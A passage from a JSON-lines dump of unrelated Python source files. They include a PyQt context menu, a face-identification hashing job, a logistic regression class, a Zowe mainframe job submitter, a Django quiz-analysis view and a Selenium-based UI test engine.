generate_codes_context_menu(code_id=None, rid=None, dt=None,\n menu=None, parent=None):\n\n menu.addAction(\"Show latest assembly\").triggered.connect(\n lambda : _show_latest_assembly(code_id, rid))\n menu.addAction(\"Where used\").triggered.connect(\n lambda : _show_where_used(code_id, rid))\n menu.addAction(\"Valid where used\").triggered.connect(\n lambda : _show_valid_where_used(code_id, rid))\n menu.addAction(\"Smart where used\").triggered.connect(\n lambda : _show_smart_where_used(code_id, rid))\n menu.addAction(\"Show assembly by date\").triggered.connect(\n lambda : _show_assembly(code_id, rid, parent))\n if (not code_id is None and not dt is None) or not rid is None:\n menu.addAction(\"Show this assembly\").triggered.connect(\n lambda : _show_this_assembly(code_id, dt, rid))\n menu.addAction(\"Show prototype assembly\").triggered.connect(\n lambda : _show_proto_assembly(code_id, rid))\n if not db.DB().is_db_read_only():\n menu.addSeparator()\n menu.addAction(\"Copy code ...\").triggered.connect(\n lambda : _copy_code(code_id, rid, parent))\n menu.addAction(\"Revise code ...\").triggered.connect(\n lambda : _revise_code(code_id, rid, parent))\n menu.addAction(\"Edit code ...\").triggered.connect(\n lambda : _edit_code(code_id, rid))\n menu.addSeparator()\n menu.addAction(\"Diff from...\").triggered.connect(\n lambda : _set_diff_from(code_id, rid, parent))\n menu.addAction(\"Diff to...\").triggered.connect(\n lambda : _set_diff_to(code_id, rid, parent))\n\n return menu\n","repo_name":"kreijack/bombrowser","sub_path":"codecontextmenu.py","file_name":"codecontextmenu.py","file_ext":"py","file_size_in_byte":4019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27548292188","text":"from biomio.protocol.probes.plugins.face_identification_plugin.defs import HASH_SETTINGS_FILE\nfrom biomio.protocol.probes.plugins.face_identification_plugin.algo_hash_redis_store import \\\n AlgorithmsHashRedisStackStore\nfrom biomio.protocol.data_stores.algorithms_data_store import AlgorithmsDataStore\nfrom biomio.algorithms.interfaces import AlgorithmProcessInterface, logger\nfrom biomio.algorithms.datastructs import get_data_structure\nfrom biomio.constants import REDIS_DO_NOT_STORE_RESULT_KEY\nfrom biomio.algorithms.tools import load_json, save_json\nimport os\n\nUPDATE_DATA_STRUCTURE_PROCESS_CLASS_NAME = \"UpdateDataStructureProcess\"\n\ndef job(callback_code, **kwargs):\n UpdateDataStructureProcess.job(callback_code, **kwargs)\n\n\nclass UpdateDataStructureProcess(AlgorithmProcessInterface):\n def __init__(self, callback):\n AlgorithmProcessInterface.__init__(self)\n self.external_callback(callback)\n self._classname = UPDATE_DATA_STRUCTURE_PROCESS_CLASS_NAME\n self._count = 0\n self._internal_result = {}\n\n def _internal_handler(self, result):\n logger.debug(result)\n self._count -= 1\n self._internal_result['result'] = self._internal_result.get('result', True) and result['result']\n if self._count == 0:\n self._callback(self._internal_result)\n\n def handler(self, result):\n \"\"\"\n Callback function for corresponding job function.\n\n :param result: data result dictionary\n \"\"\"\n raise NotImplementedError\n\n @staticmethod\n def job(callback_code, **kwargs):\n \"\"\"\n Job function for update identification database tables.\n\n :param callback_code: callback function identifier\n :param kwargs: settings dictionary:\n {\n 'uuid': user identifier string,\n 'database': database identifier,\n 'hash_settings':\n {\n 'database_type': database type,\n 'hash_config_path': identification hash settings files path,\n 'settings': default identification hash settings dictionary\n },\n 'cluster_id': cluster identifier,\n 'data_settings':\n {\n 'temp_image_path': temporary data path,\n 'userID': user identifier string,\n 'algoID': algorithm identifier string,\n 'probe_id': probe identifier string,\n 'ai_code': AI code string,\n 'save': list of saved keys,\n 'try_type': try type string\n },\n 'template': descriptor list\n }\n \"\"\"\n UpdateDataStructureProcess._job_logger_info(UPDATE_DATA_STRUCTURE_PROCESS_CLASS_NAME, **kwargs)\n redis_store = kwargs['database']\n settings = kwargs['hash_settings']['settings'].copy()\n settings_path = os.path.join(kwargs['hash_settings']['hash_config_path'],\n HASH_SETTINGS_FILE % kwargs['cluster_id'])\n if os.path.exists(settings_path):\n settings = load_json(settings_path)\n else:\n settings['projection_name'] += str(kwargs['cluster_id'])\n database_store = get_data_structure(kwargs['hash_settings']['database_type'])(settings)\n if not os.path.exists(settings_path):\n if not os.path.exists(kwargs['hash_settings']['hash_config_path']):\n os.mkdir(kwargs['hash_settings']['hash_config_path'])\n save_json(settings_path, database_store.get_config())\n\n buckets = database_store.hash_vectors(kwargs['template'], kwargs['uuid'])\n record = {'data': buckets,\n 'store': redis_store,\n 'uuid': kwargs['uuid'],\n 'data_settings': kwargs['data_settings']\n }\n logger.debug(buckets)\n AlgorithmsHashRedisStackStore.instance(redis_store).store_vectors(buckets, record['uuid'],\n kwargs['cluster_id'], None)\n result = {'result': True}\n AlgorithmsDataStore.instance().store_job_result(record_key=REDIS_DO_NOT_STORE_RESULT_KEY % callback_code,\n record_dict=result, callback_code=callback_code)\n\n @staticmethod\n def process(**kwargs):\n raise NotImplementedError\n\n def run(self, worker, kwargs_list_for_results_gatherer=None, **kwargs):\n self._count += 1\n if worker is not None:\n worker.run_job(job, callback=self._internal_handler,\n kwargs_list_for_results_gatherer=kwargs_list_for_results_gatherer, **kwargs)\n","repo_name":"BiomioAuth/biomio-gate","sub_path":"biomio/protocol/probes/plugins/face_identification_plugin/processes/update_data_struct_process.py","file_name":"update_data_struct_process.py","file_ext":"py","file_size_in_byte":4761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42329774936","text":"import numpy as np\nimport warnings\n\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\nclass LogisticRegression:\n def __init__(self, num_iters=1000, learning_rate=0.006):\n self.lr = learning_rate\n self.num_iters = num_iters\n self.weights = None\n self.bias = 0\n\n def sigmoid(self, x):\n return 1/(1 + np.exp(-x))\n def fit(self, X_train, y_train):\n n_samples, n_features = X_train.shape\n self.weights = np.zeros(n_features)\n\n for _ in range(self.num_iters):\n y_linear = np.dot(X_train, self.weights) + self.bias\n y_pred = self.sigmoid(y_linear)\n dw = (1/n_samples) * np.dot(X_train.T, (y_pred - y_train))\n db = (1/n_samples) * np.sum(y_pred - y_train)\n\n self.weights = self.weights - self.lr * dw\n self.bias = self.bias - self.lr * db\n def predict(self, X_test):\n y_linear = np.dot(X_test, self.weights) + self.bias\n y_pred = self.sigmoid(y_linear)\n return np.round(y_pred)\n\n def accuracy_score(self, y_true, y_predicted):\n hits = 0\n misses = 0\n for idx, y in enumerate(y_true):\n hits = (hits + 1) if y_predicted[idx] == y else hits\n misses = (misses + 1) if y_predicted[idx] != y else misses\n\n score = hits / (hits + misses)\n return score","repo_name":"Hackers-AD/Machine_Learning_Models","sub_path":"LogisticRegression/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34310860814","text":"import argparse\nimport subprocess\n\nfrom zowe.zos_jobs_for_zowe_sdk import Jobs\n\nfrom config import connection\nfrom find_error_code import get_error_code\nfrom scrape import fetch_help\n\nparser = argparse.ArgumentParser(\n description=\"Submit jobs to Mainframe and in case of error get the details on the error code.\"\n)\nparser.add_argument(\"type\", choices=['local', 'mainframe'],\n help=\"place where the job file is residing\")\nparser.add_argument(\"path\", help=\"complete path of the JCL file\")\n\nargs = parser.parse_args()\nmy_jobs = Jobs(connection)\nprint(\"Submitting your job...\", end='\\r')\nif args.type == \"mainframe\":\n job = my_jobs.submit_from_mainframe(args.path)\nelif args.type == \"local\":\n job = my_jobs.submit_from_local_file(args.path)\nprint(job[\"phase-name\"].ljust(80, ' '), end='\\r')\ni = 0\nwhile job[\"retcode\"] is None:\n status = my_jobs.get_job_status(job[\"jobname\"], job[\"jobid\"])\n if status[\"retcode\"] is not None:\n print(\"Job processing is complete.\".ljust(80, ' '))\n break\n if i == 1:\n print(\"Waiting for job to complete.\".ljust(80, ' '), end='\\r')\n elif i == 2:\n print(\"Waiting for job to complete..\", end='\\r')\n elif i == 3:\n print(\"Waiting for job to complete...\", end='\\r')\n i = 0\n i += 1\n\nif status[\"retcode\"] == \"CC 0000\":\n print(\"Job was successfully completed!!!\")\nelse:\n print(\"Return Code: \" + status[\"retcode\"])\n print(\"Downloading Job output files for analysis...\", end='\\r')\n print(\"\".ljust(80, ' '), end=\"\\r\")\n subprocess.call([\"zowe\", \"jobs\", \"download\", \"output\", str(job[\"jobid\"])])\n error_code = get_error_code(job[\"jobid\"])\n print(\"Possible Error Code: \" + str(error_code))\n fetch_help(error_code)\n","repo_name":"Sudhanshu-Dubey14/Keet-Seek","sub_path":"jobs.py","file_name":"jobs.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6854678931","text":"from Clasesfotos2 import Estuche_camara,Chaqueta,Marcador, Lapiz,Zapatos,Tripie,Reloj,Pila,lente,Tapalen,Camisa,Celular,Revista,Maletin,Pila_cel,Compu\n\nprint(\"Estuchecamara\")\nEstuche_camara1= Estuche_camara(\"Negros\",\"20cm x 15cm\",\"Hp\")\nEstuche_camara1.imprimir()\n\nprint(\"Chaqueta\")\nChaqueta1= Chaqueta(\"Negros\",\"Grande\")\nChaqueta1.imprimir()\n\nprint(\"Macador\")\nMarcador1= Marcador(\"Negro\",\"Bic\",\"7cm\")\nMarcador1.imprimir()\n\nprint(\"Lapices\")\nLapiz1= Lapiz(\"Negros\",\"bic\",\"6cm\")\nLapiz1.imprimir()\nLapiz2= Lapiz(\"Negros\",\"bic\",\"6cm\")\nLapiz2.imprimir()\nLapiz3= Lapiz(\"Negros\",\"bic\",\"6cm\")\nLapiz3.imprimir()\nLapiz4= Lapiz(\"Blanco\",\"bic\",\"6cm\")\nLapiz4.imprimir()\n\nprint(\"Zapatos\")\nZapatos1= Zapatos(\"Cafes\",\"28cm\",\"Pull and bar\")\nZapatos1.imprimir()\n\nprint(\"Tripie\")\nTripie1= Tripie(\"Negros\",\"50cm\",\"canom\")\nTripie1.imprimir()\n\nprint(\"Reloj\")\nReloj1= Reloj(\"Negros\",\"40cm\",\"casio\")\nReloj1.imprimir()\n\nprint(\"Pila de camara\")\nPila1= Pila(\"Negros\",\"3hr\",\"canom\")\nPila1.imprimir()\nPila2= Pila(\"Negros\",\"5hr\",\"canom\")\nPila2.imprimir()\n\nprint(\"Lentes de camara\")\nlente1= lente(\"Negros\",\"5cm\",\"500\",\"canom\")\nlente1.imprimir()\nlente2= lente(\"Negros\",\"6cm\",\"600\",\"canom\")\nlente2.imprimir()\n\nprint(\"Tapa de lentes\")\nTapalen1= Tapalen(\"Negros\",\"5cm\",\"300\",\"canom\")\nTapalen1.imprimir()\nTapalen2= Tapalen(\"Negros\",\"6cm\",\"400\",\"canom\")\nTapalen2.imprimir()\nTapalen3= Tapalen(\"Negros\",\"3cm\",\"100\",\"canom\")\nTapalen3.imprimir()\n\nprint(\"Camisa\")\nCamisa1= Camisa(\"Blanca\",\"Zara\",\"200\",\"vestir\")\nCamisa1.imprimir()\n\nprint(\"celular\")\nCelular1= Celular(\"Blanca\",\"15cm\",\"6cm\",\"moderno\")\nCelular1.imprimir()\n\nprint(\"Revista \")\nRevista1= Revista(\"JUICE\",\"30cm\",\"20cm\",)\nRevista1.imprimir()\n\nprint(\"Maletin\")\nMaletin1= Maletin(\"Cafe\",\"30cm\",\"cuero\",\"canom\")\nMaletin1.imprimir()\n\nprint(\"Pila celular\")\nPila1= Pila(\"Negros\",\"3hr\",\"canom\")\nPila1.imprimir()\n\nprint(\"Compu\")\nCompu1= Compu(\"Blanca\",\"64 GB\",\"Mac\")\nCompu1.imprimir()\n\n\n\n","repo_name":"PA25EJ2023/prog_a_25","sub_path":"oscarguel/creacion_fotos2.py","file_name":"creacion_fotos2.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36553223122","text":"from rest_framework import exceptions, generics, permissions\nfrom rest_framework.decorators import api_view\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import permission_classes\nfrom .models import Quiz,Question,Option\nfrom .models import Response as StudentResponse\nfrom authentication.models import Student\nfrom django.shortcuts import get_object_or_404\nfrom .serializers import *\nfrom django.core.exceptions import ObjectDoesNotExist\nimport re\nfrom result.constants import *\n\nBACKEND_HOST = 'https://api1.mathmaterate.com'\n\n@api_view(['GET'])\n@permission_classes([permissions.IsAuthenticated, ])\ndef analysis(request):\n\t\"\"\"\n\tGets the question-wise analysis for a particular quiz for the student\n\tInput: quiz_id (IntegerField)\n\tReturn: An array of question, responses, error type and some feedback in a valid JSON format OR an error\n\n\tGet the questions (through quiz) and the options marked (through Response). Everything is sorted by the ID of the question to maintain the order.\n\tFor each question, if a matching option with the same question_id is found:\n\t\tIf MCQ, whatever is the option use that. \n\t\tIf Numerical type/Single word, use the option marked to get type of response and replace the option text with the value in the custom_option for that question. Note that you need to store an option (maybe with NULL value in option_text) explcitly to accomodate answers that don't belong to a particular error code (i.e., unclassified)\n\n\t\tIf matching option not found, then question is unattempted.\n\tFor MCQ questions. l\n\n\tTo check the mapping of codes, look at constants.py\n\t\"\"\"\n\n\tserializer = QuizIDSerializer(data=request.query_params)\n\tserializer.is_valid(raise_exception=True)\n\tvalidated_data = serializer.validated_data\n\n\ttry:\n\t\t#quiz_id = Quiz.objects.get(pk=validated_data['quiz_id'])\n\t\t#student_id = request.user.student\n\t\t# responses = StudentResponse.objects.get(quiz_id__id=validated_data['quiz_id'],student_id=request.user.student)\n\t\t\n\t\tresponses = request.user.student.response_set.get(quiz_id__id=validated_data['quiz_id'])\n\t\tquiz = responses.quiz_id\n\n\t\tquestions = quiz.question_set.all().order_by('id') # sort options marked in order of questions\n\n\t\tmarked_responses = responses.responses.all().order_by('question__id')\n\n\t\tRES = []\n\t\t\"\"\"\n\t\tGetting the stats of the quiz. For the difficulty levels, the values are lists indicating \n\t\t[# correctly answered questions in that category, total # questions in the category]. For error labels,\n\t\tthe values are # errors of that category\n\t\t\"\"\"\n\t\tstats = {\n\t\t\t\t\t\"Easy\": [0,0], \n\t\t\t\t\t\"Medium\": [0,0], \n\t\t\t\t\t\"Hard\": [0,0], \n\t\t\t\t\t\"Misconception\": 0, \n\t\t\t\t\t\"Silly mistake\": 0, \n\t\t\t\t\t\"Unattempted\": 0, \n\t\t\t\t\t\"Unclassified\": 0, \n\t\t\t\t\t\"Chapter_Stats\":{}\n\t\t}\n\t\tdifficulty_code = dict(DIFFICULTY)\n\t\terror_code = dict(ERROR_CLASS)\n\t\ttotal_errors = 0\n\n\t\t\n\n\t\tj = 0\n\n\n\t\tfor q in questions:\n\t\t\t# opt = q.option_set.get(opt_err_label=0) # 0 means correct\n\t\t\t#increments the total number of questions for the difficulty level the question belongs to:\n\t\t\tstats[difficulty_code[q.q_difficulty]][1] += 1\n\t\t\tres = {\n\t\t\t\t\t\"q_id\" : q.id,\n\t\t\t\t\t\"q_type\" : q.q_type,\n\t\t\t\t\t\"q_text\": re.sub(r'src=\"@@PLUGINFILE@@/([^\"]+)\"',r'src=\"'+BACKEND_HOST+r'/media'+r'/quiz/'+str(quiz.id)+r'/question/'+str(q.id)+r'/\\1\"',q.q_text),\n\t\t\t\t\t\"q_weight\": q.q_weight,\n\t\t\t\t\t\"q_difficulty\": q.q_difficulty,\n\t\t\t\t\t\"solution\": q.ans_expl\n\t\t\t\t}\n\n\t\t\tmarked_opt_for_q = None\t\t\t\n\n\t\t\tif q.id == marked_responses[j].question.id:\n\t\t\t\tmarked_opt_for_q = marked_responses[j]\n\n\t\t\t\t# go to next marked option if it exists\n\t\t\t\tj += 1 if j+1 < len(marked_responses) else 0\n\t\t\t\t\n\t\t\tif q.q_type == 1: # MCQ\n\t\t\t\t# Get all the options\n\t\t\t\topts = q.option_set.all()\n\t\t\t\tchoices = []\n\t\t\t\topt_feedback = None\n\t\t\t\tmarked_opt_err_label = -1\n\n\t\t\t\tfor opt in opts:\n\t\t\t\t\tcurr_opt = {\n\t\t\t\t\t\t\t\"opt_id\" : opt.id,\n\t\t\t\t\t\t\t\"opt_text\" : re.sub(r'src=\"@@PLUGINFILE@@/([^\"]+)\"',r'src=\"'+BACKEND_HOST+r'/media'+r'/quiz/'+str(quiz.id)+r'/option/'+str(opt.id)+r'/\\1\"',opt.opt_text),\n\t\t\t\t\t\t\t\"opt_err_label\" : opt.opt_err_label,\n\t\t\t\t\t\t\t\"marked\" : False\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\tif opt == marked_opt_for_q:\n\t\t\t\t\t\tcurr_opt['marked'] = True\n\t\t\t\t\t\topt_feedback = opt.opt_feedback\n\t\t\t\t\t\tmarked_opt_err_label = opt.opt_err_label\n\n\n\t\t\t\t\tchoices.append(curr_opt)\n\n\t\t\t\tres.update({\n\t\t\t\t\t\"options\" : choices,\n\t\t\t\t\t\"mark_obtained\" : marked_opt_for_q.opt_weight * q.q_weight if marked_opt_for_q is not None else 0.0,\n\t\t\t\t\t\"opt_feedback\": opt_feedback,\n\t\t\t\t\t\"opt_err_label\": marked_opt_err_label\n\t\t\t\t\t})\n\t\t\t\tif marked_opt_err_label==0:\n\t\t\t\t\tstats[difficulty_code[q.q_difficulty]][0] += 1\n\t\t\t\telif marked_opt_err_label==4:\n\t\t\t\t\tstats[\"Misconception\"] += 1\n\t\t\t\t\tstats[\"Silly mistake\"] += 1\n\t\t\t\telse:\n\t\t\t\t\tstats[error_code[marked_opt_err_label]] += 1\n\n\n\t\t\telse: #integer type questions and one word answer type questions\n\t\t\t\tpass\n\n\t\t\tRES.append(res)\n\n\t\tstats.update({\n\t\t\t'total_marks': quiz.total_marks,\n\t\t\t'marks_obtained': responses.marks_obtained,\n\t\t\t'rank': responses.rank,\n\t\t\t})\n\n\t\tRES.append(stats)\n\t\t\"\"\"\n\t\tmulti_flag = False\t # set True if a student has marked a question bu \n\n\t\twhile i'):\n if item == \"getValue\":\n item = self.element_text\n self.click_button(item)\n\n # handle sleep nlp\n def handle_sleepnlp(self, element):\n seconds = float(element[:-1])\n time.sleep(seconds)\n\n # handle fill nlp\n def handle_fillnlp(self, element):\n fillcontent = element.split(\",\")\n for i in fillcontent:\n con = i.split(u\"为\")\n label = con[0]\n content = con[1]\n self.fill_input_box(label, content)\n\n # handle choose nlp\n def handle_choosenlp(self, element):\n choosecontent = element.split(\",\")\n for i in choosecontent:\n con = i.split(u\"为\")\n label = con[0]\n content = con[1]\n self.select_element(label, content)\n\n # handle get nlp\n def handle_getnlp(self, element):\n getjs = GetJs(self.driver)\n tablist = element.split(u\"为\")\n tabname = tablist[0][:-2]\n if u\"表的数目\" in tabname:\n self.element_text = self.get_table_number(tabname[:-4])\n elif tabname.find(u\"行中\") != -1 and tabname.find(u\"列\") != -1:\n result = getjs.get_tdtext(tabname)\n self.element_text = result.split(\"
  • \")[1].split(\"
  • \")[0]\n else:\n self.element_text = self.get_elemtext(tabname)\n logger(\"INFO\", \"getValue is %s\" % self.element_text)\n\n\n # handle wait nlp\n def handle_waitnlp(self, element):\n conlist = element.split(\",\")\n seconds = float(conlist[0][:-1])\n waittype = None\n text = None\n exist = \"True\"\n if conlist[1].find(u\"类型为\") != -1:\n waittype = conlist[1][3:]\n tabname = conlist[2].split(u'的对象')[0][3:]\n text = conlist[2].split(u\"状态为\")[1]\n elif conlist[1].find(u'不存在') != -1:\n tabname = conlist[1][6:]\n exist = \"False\"\n elif conlist[1].find(u'存在') != -1:\n tabname = conlist[1][5:]\n if tabname == u'上传成功':\n waittype = u\"上传文件\"\n text = u'上传成功'\n else:\n logger(\"ERROR\", \"Sync Error: wait format is not correct!\")\n assert False, \"Sync Error: wait format is not correct!\"\n self.wait_element(tabname, seconds, waittype, exist, text)\n\n # handle destroy nlp\n def handle_destroynlp(self, element):\n logger(\"INFO\", \"start to destroy object\")\n if element == u'浮动IP':\n self.floatIP_destroy()\n else:\n deltype = element.split(u\"为\")[0]\n delname = element.split(u\"为\")[1]\n logger(\"INFO\", \"删除对象为: %s, %s\" % (deltype, delname))\n # read destroy_data.json\n path = os.path.split(os.path.realpath(__file__))[0]\n data_file = open(os.path.join(path, \"destroy_data.json\"))\n data_dict = json.load(data_file)\n if deltype == u\"容器\":\n self.container_destroy(delname)\n elif deltype == u\"容器对象\":\n self.visualdir_destroy(delname)\n elif deltype == u\"主机集合\":\n self.host_aggregates_destroy(delname)\n elif deltype == u\"镜像\":\n self.image_destroy(delname)\n elif deltype in data_dict.keys():\n clickpath = data_dict[deltype][0]\n butname = data_dict[deltype][1]\n if delname.find(\"->\") != -1:\n namelist = delname.split(\"->\")\n delname = namelist[-1]\n clickpath = clickpath + \"->\" + \"->\".join(namelist[:-1])\n self.object_destroy(clickpath, delname, butname)\n else:\n logger(\"ERROR\", \"Sync Error: destroy format is not correct!\")\n assert False, \"Sync Error: destroy format is not correct!\"\n\n # click element\n def click_button(self, button_name):\n if u'的管理规则' in button_name:\n group = button_name.split(u'的管理规则')[0]\n xpath = \"//*[@data-display='\" + group + \"']/td[4]/div/a\"\n i = self.driver.find_element_by_xpath(xpath).click()\n return i\n elif re.match(re.compile(u'增加.*内网'), button_name):\n result = True\n netname = button_name.replace(\"增加\", \"\").replace(\"内网\", \"\")\n logger(\"INFO\", button_name + \" \" + netname)\n getjs = GetJs(self.driver)\n selected_network = getjs.add_net(netname, \"selected_network\")\n if selected_network == \"success\":\n logger(\"INFO\", \"inter network %s is default selected\" % netname)\n else:\n available_network = getjs.add_net(netname, \"available_network\")\n if available_network != \"success\":\n result = None\n else:\n logger(\"INFO\", \"inter network %s is selected successfully\" % netname)\n else:\n result = self.get_allelement(button_name, optype=\"click\")\n if result is None:\n elements = self.driver.find_elements_by_css_selector(\".nodeLabel\")\n for i in elements:\n if i.text == button_name:\n i.click()\n logger(\"INFO\", \"find element by .nodeLabel, success to click\")\n result = i\n break\n if result is None:\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"ERROR\", \"%s Element is not found!\" % button_name)\n assert False, \"%s Element is not found!\" % button_name\n\n # fill input box\n def fill_input_box(self, label, content):\n result = self.get_allelement(label, \"fill\", content)\n if result is None:\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"ERROR\", \"%s Element is not found!\" % label)\n assert False, \"%s Element is not found!\" % label\n\n # operate select element\n def select_element(self, label, c):\n result = self.get_allelement(label, \"select\", c)\n if result is None:\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"ERROR\", \"%s Element is not found!\" % label)\n assert False, \"%s Element is not found!\" % label\n\n # get element text\n def get_elemtext(self, tab_name):\n elemtext = None\n if tab_name == u'拓扑连线':\n ldddd = self.driver.find_elements_by_tag_name('line')\n elemtext = str(len(ldddd))\n return elemtext\n element = self.get_allelement(tab_name)\n if element is not None:\n elemtext = element.text\n else:\n getjs = GetJs(self.driver)\n elemtext = getjs.get_details(tab_name)\n if elemtext is None:\n get_img(self.driver, self.nowtime, self.CaseName)\n elemtext = elemtext.strip()\n return elemtext\n\n # wait for element tp appear\n def wait_element(self, elementname, seconds, type=None, exist=\"True\", text=None):\n xpathstr = None\n if type == u'实例':\n xpathstr = \"//*[@data-display='\" + elementname + \"']/td[7]\"\n #text = u\"运行中\"\n if type == u'管理员实例':\n xpathstr = \"//*[@data-display='\" + elementname + \"']/td[8]\"\n #text = u\"运行中\"\n if type == u\"实例快照\":\n xpathstr = \"//*[@data-display='\" + elementname + \"']/td[3]\"\n #text = u\"运行中\"\n if type == u\"云硬盘\":\n xpathstr = \"//*[@data-display='\" + elementname + \"']/td[5]\"\n #text = u\"可用配额\"\n if type == u\"绑定云硬盘\":\n xpathstr = \"//*[@data-display='\" + elementname + \"']/td[5]\"\n #text = u\"正在使用\"\n if type == u\"上传文件\":\n xpathstr = \"//*[@id='upload-object-btn']\"\n #text = u\"上传成功\"\n if type == u\"栈\":\n xpathstr = \"//*[@data-display='\" + elementname + \"']/td[6]\"\n #text = u\"创建完成\"\n # if elementname is not link, then use xpath\n xpath = \"//*[@data-display='\" + elementname + \"']\"\n try:\n self.driver.find_element_by_link_text(elementname)\n element = (By.LINK_TEXT, elementname)\n except:\n element = (By.XPATH, xpath)\n # start to execute wait\n if exist == \"True\":\n if xpathstr:\n element = (By.XPATH, xpathstr)\n try:\n WebDriverWait(self, 60, 1).until_not(\n EC.text_to_be_present_in_element(element, \"错误\"))\n WebDriverWait(self, seconds, 1).until(\n EC.text_to_be_present_in_element(element, text))\n except Exception as msg:\n logger(\"ERROR\", \"wait %s %s timeout\" %(elementname, text))\n logger(\"ERROR\", msg)\n get_img(self.driver, self.nowtime, self.CaseName)\n assert False, msg\n else:\n try:\n WebDriverWait(self, seconds, 1).until(\n EC.presence_of_element_located(element))\n except Exception as msg:\n logger(\"ERROR\", \"wait %s timeout\" %elementname)\n logger(\"ERROR\", msg)\n get_img(self.driver, self.nowtime, self.CaseName)\n assert False, msg\n else:\n try:\n WebDriverWait(self, seconds, 1).until_not(\n EC.presence_of_element_located(element))\n except Exception as msg:\n logger(\"ERROR\", \"wait %s timeout\" % elementname)\n logger(\"ERROR\", msg)\n get_img(self.driver, self.nowtime, self.CaseName)\n assert False, msg\n logger(\"INFO\", \"WebDriverWait is successfull\")\n\n # test engine\n def ui_engine(self, steps, startidx=None, endidx=None):\n self.add_time_string(self.casetime, steps)\n # add 清理 step to self.delstep\n for step in steps:\n if step[:2] == u\"清理\" and step not in self.delstep:\n self.delstep.append(step)\n # start to execute step\n if startidx is None:\n startidx = 1\n if endidx is None:\n endidx = len(steps)\n for i in range(startidx - 1, endidx):\n step = steps[i]\n logger(\"INFO\", \"CaseStep is %s\" % step)\n # 如果为已经封装好的方法,则跳转至common.json\n path = os.path.split(os.path.realpath(__file__))[0]\n data_file = open(os.path.join(path, \"common.json\"))\n data_dict = json.load(data_file)\n\n for key in data_dict:\n if step == key:\n key_steps = data_dict[key]\n other_steps = []\n for j in range(i + 1, endidx):\n other_step = steps[j]\n other_steps.append(other_step)\n new_step = key_steps + other_steps\n return GetElement.ui_engine(self, new_step)\n\n action = step[:2]\n element = step[2:]\n # 对于鼠标点击操作\n if action == u\"触发\" and element == u\"鼠标点击\":\n self.mouse_click()\n # 对于登录操作\n elif action == u\"登录\":\n self.handle_loginnlp(element)\n # 对于点击操作\n elif action == u\"点击\":\n self.handle_clicknlp(element)\n # 对于延时操作\n elif action == u\"等待\":\n self.handle_sleepnlp(element)\n # 对于填表操作\n elif action == u\"输入\":\n self.handle_fillnlp(element)\n # 对于检查操作\n elif action == u\"检查\":\n self.check_value(element)\n # 对于选择操作\n elif action == u\"选择\":\n self.handle_choosenlp(element)\n # 获取元素的text\n elif action == u\"获取\":\n self.handle_getnlp(element)\n # 对于等待某个元素出现\n elif action == u\"循环\":\n self.handle_waitnlp(element)\n # 对于删除操作\n elif action == u\"删除\":\n self.handle_destroynlp(element)\n # 对于清理操作\n elif action == u\"清理\":\n pass\n # 容器上传对象\n elif action == u\"上传\":\n self.handle_fillnlp(element)\n # 选中元素的checkbox\n elif action == u\"选中\":\n self.click_checkbox(element)\n else:\n logger(\"ERROR\", \"Sync Error, %s action is not correct!\" % action)\n assert False, \"Sync Error, %s action is not correct!\" % action\n\n # 增加时间戳,将%符号转成当前日期精确到秒\n def add_time_string(self, casetime, data):\n for idx, steps in enumerate(data):\n if steps.find(\"%时间戳\") != -1:\n steps = steps.replace('%时间戳', str(casetime))\n data[idx] = steps\n\n # 处理json中case存在perconditon的情况\n def perconditon(self, jsonfiles, data):\n destroylist = []\n json_dicts = {}\n for jsonfile in jsonfiles:\n json_file = open(jsonfile)\n json_dict = json.load(json_file)\n json_dicts = dict(json_dict, **json_dicts)\n for idx, val in enumerate(data):\n if \"前提条件\" in val:\n precondition = val.split(u\"为\")[1]\n if precondition in json_dicts.keys():\n prelist = json_dicts[precondition]\n for step in prelist[:]:\n if step[:2] == u\"清理\":\n prelist.remove(step)\n destroylist.append(step)\n data[idx:idx] = prelist\n data.remove(val)\n data.insert(idx, \"0\")\n if precondition not in json_dicts.keys():\n self.assertEquals(\n True, False, \"precondition value not in json file\")\n data.extend(destroylist)\n num = data.count(\"0\")\n if data.count(\"0\") > 0:\n for i in range(num):\n data.remove(\"0\")\n return data\n\n # def instance_destroy(self, menus,objectname,buttonname):\n def object_destroy(self, menus, delname, buttonname):\n self.driver.get(url)\n time.sleep(2)\n self.login_again()\n try:\n self.driver.find_element_by_link_text(\"管理员\").click()\n except:\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"WARN\", \"not exist 管理员 page\")\n self.driver.find_element_by_link_text(\"项目\").click()\n objectname = delname.split(\",\")\n for item in menus.split('->'):\n self.click_button(item)\n time.sleep(2)\n for i in objectname:\n xpathstr = \"//*[@data-display='\" + i + \"']/td[1]/input\"\n try:\n self.driver.find_element_by_xpath(xpathstr).click()\n except:\n logger(\"WARN\", \"%s is not exist!\" % i)\n try:\n self.click_button(buttonname)\n except:\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"WARN\", \"%s can not be clicked, destroy action is finished\" % buttonname)\n return None\n time.sleep(2)\n self.driver.find_element_by_link_text(buttonname).click()\n time.sleep(1)\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"INFO\", \"destroy action is finished\")\n\n # delete containter\n def container_destroy(self, name):\n time.sleep(2)\n try:\n xpath = \".//*[@id='containers__row__\" + name + \"']/td[4]/div/a[2]\"\n self.driver.find_element_by_xpath(xpath).click()\n except:\n get_img(self.driver, self.nowtime, self.CaseName)\n logger(\"WARN\", \"%s is not exist!\" % name)\n return None\n time.sleep(1)\n xpath = \".//*[@id='containers__row_\" + name + \"__action_delete']\"\n self.driver.find_element_by_xpath(xpath).click()\n time.sleep(1)\n xpath = 